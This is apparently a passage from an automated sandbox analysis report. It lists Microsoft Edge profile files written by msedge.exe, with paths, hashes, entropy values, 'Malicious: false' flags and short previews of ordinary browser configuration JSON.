SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1bea35f7-4524-4a4b-b6cd-ffa2422b8520.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2972f64b-edd9-4aa7-9814-ae5aedb9a56e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\39ea6c72-24d0-49d5-870c-783666f9e966.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39125.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39210.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF464c1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF5916a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF48bb2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF5a3b9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d60a32ff-b0a0-4ff0-9fb4-93b03d2858e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e112d9ba-5588-4b7e-ac4f-65001f580f45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a97250ac-4b43-47ad-a5e4-822d9a67df4b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561135616569511
Encrypted:	false
SSDEEP:	768:TMXA3L7pLGLpAyWPi4fgA8F1+UoAYDCx9Tuqh0VfUC9xbog/OVE6Lsbk1rwlkO0E:TMXA3dcpAyWPi4fgAu1jaB6Lck+lkOXz
MD5:	314532535508593C4E7DCD9B7F216718
SHA1:	614542DDE19A7DEF2B99AA8AE22398C4E85BA203
SHA-256:	389DF50520471235CE6192F02861CEE79A79E9B78C51C268CF2A32ADE8416B0B
SHA-512:	CAC2BEB0A48D19B168AF5E200EEC0B21B6C76E1DCFDD40110A5F88A9CCF00EFB0D0550E784235A2D60466F50E1EEB243F2BE98A52404073344935A54DA777CDC
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376157380281616","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376157380281616","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Reputation:	unknown
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c56c15d9-80f2-4f9e-bcd8-351be81b2313.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17391), with no line terminators
Category:	dropped
Size (bytes):	17392
Entropy (8bit):	5.471204028799637
Encrypted:	false
SSDEEP:	384:stAPGQSu4is5UfhiCNZvbG/QwR6WYlaTYS:s2OXu0Uf3bGIOOaTYS
MD5:	A959C541107107C267F07F69AA87A296
SHA1:	0D672EAD4E6DF8563663309E54D065A62AF762ED
SHA-256:	33684B672565DB119B7FE675E0FDC624BD9EB5CE480BA5DD2DB92D43C2D812FD
SHA-512:	EBE5C85CEFE923C7A7EF508422B18DC80F5340052BDB134FBF3A4943DE3E5286F8417CDA3BF154C80A90569F20FA8B7D00F2B80B5DE954C670FBC41B4B1332E9
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376157380864573","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e0263829-f370-4548-8fed-4eee136f3fcc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f567b85d-3fdc-478f-9f38-dc4d4bba8d6e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Reputation:	unknown
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Reputation:	unknown
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728806610621
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ztbz8hu3VlXr4CRo1
MD5:	401A5F553A8AC959A316389803BAFCB7
SHA1:	15B203F93F992FEFEA837323A21E170A558D4CC1
SHA-256:	FD9E7B1B0CE9CC6DB2F5B737692411250E5E85B2807133DA07439C41C9B868E7
SHA-512:	6C07E92D89878BB9DEC72234C322B3A8B5D843DD934D3D05CA5EB1F376A078277AFA13E5D986638ED1D1CBEECF617BF02ADECF8FB8B5EBC701FAC1284A97C4C7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36b5d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728806610621
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ztbz8hu3VlXr4CRo1
MD5:	401A5F553A8AC959A316389803BAFCB7
SHA1:	15B203F93F992FEFEA837323A21E170A558D4CC1
SHA-256:	FD9E7B1B0CE9CC6DB2F5B737692411250E5E85B2807133DA07439C41C9B868E7
SHA-512:	6C07E92D89878BB9DEC72234C322B3A8B5D843DD934D3D05CA5EB1F376A078277AFA13E5D986638ED1D1CBEECF617BF02ADECF8FB8B5EBC701FAC1284A97C4C7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36b6d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728806610621
Encrypted:	false
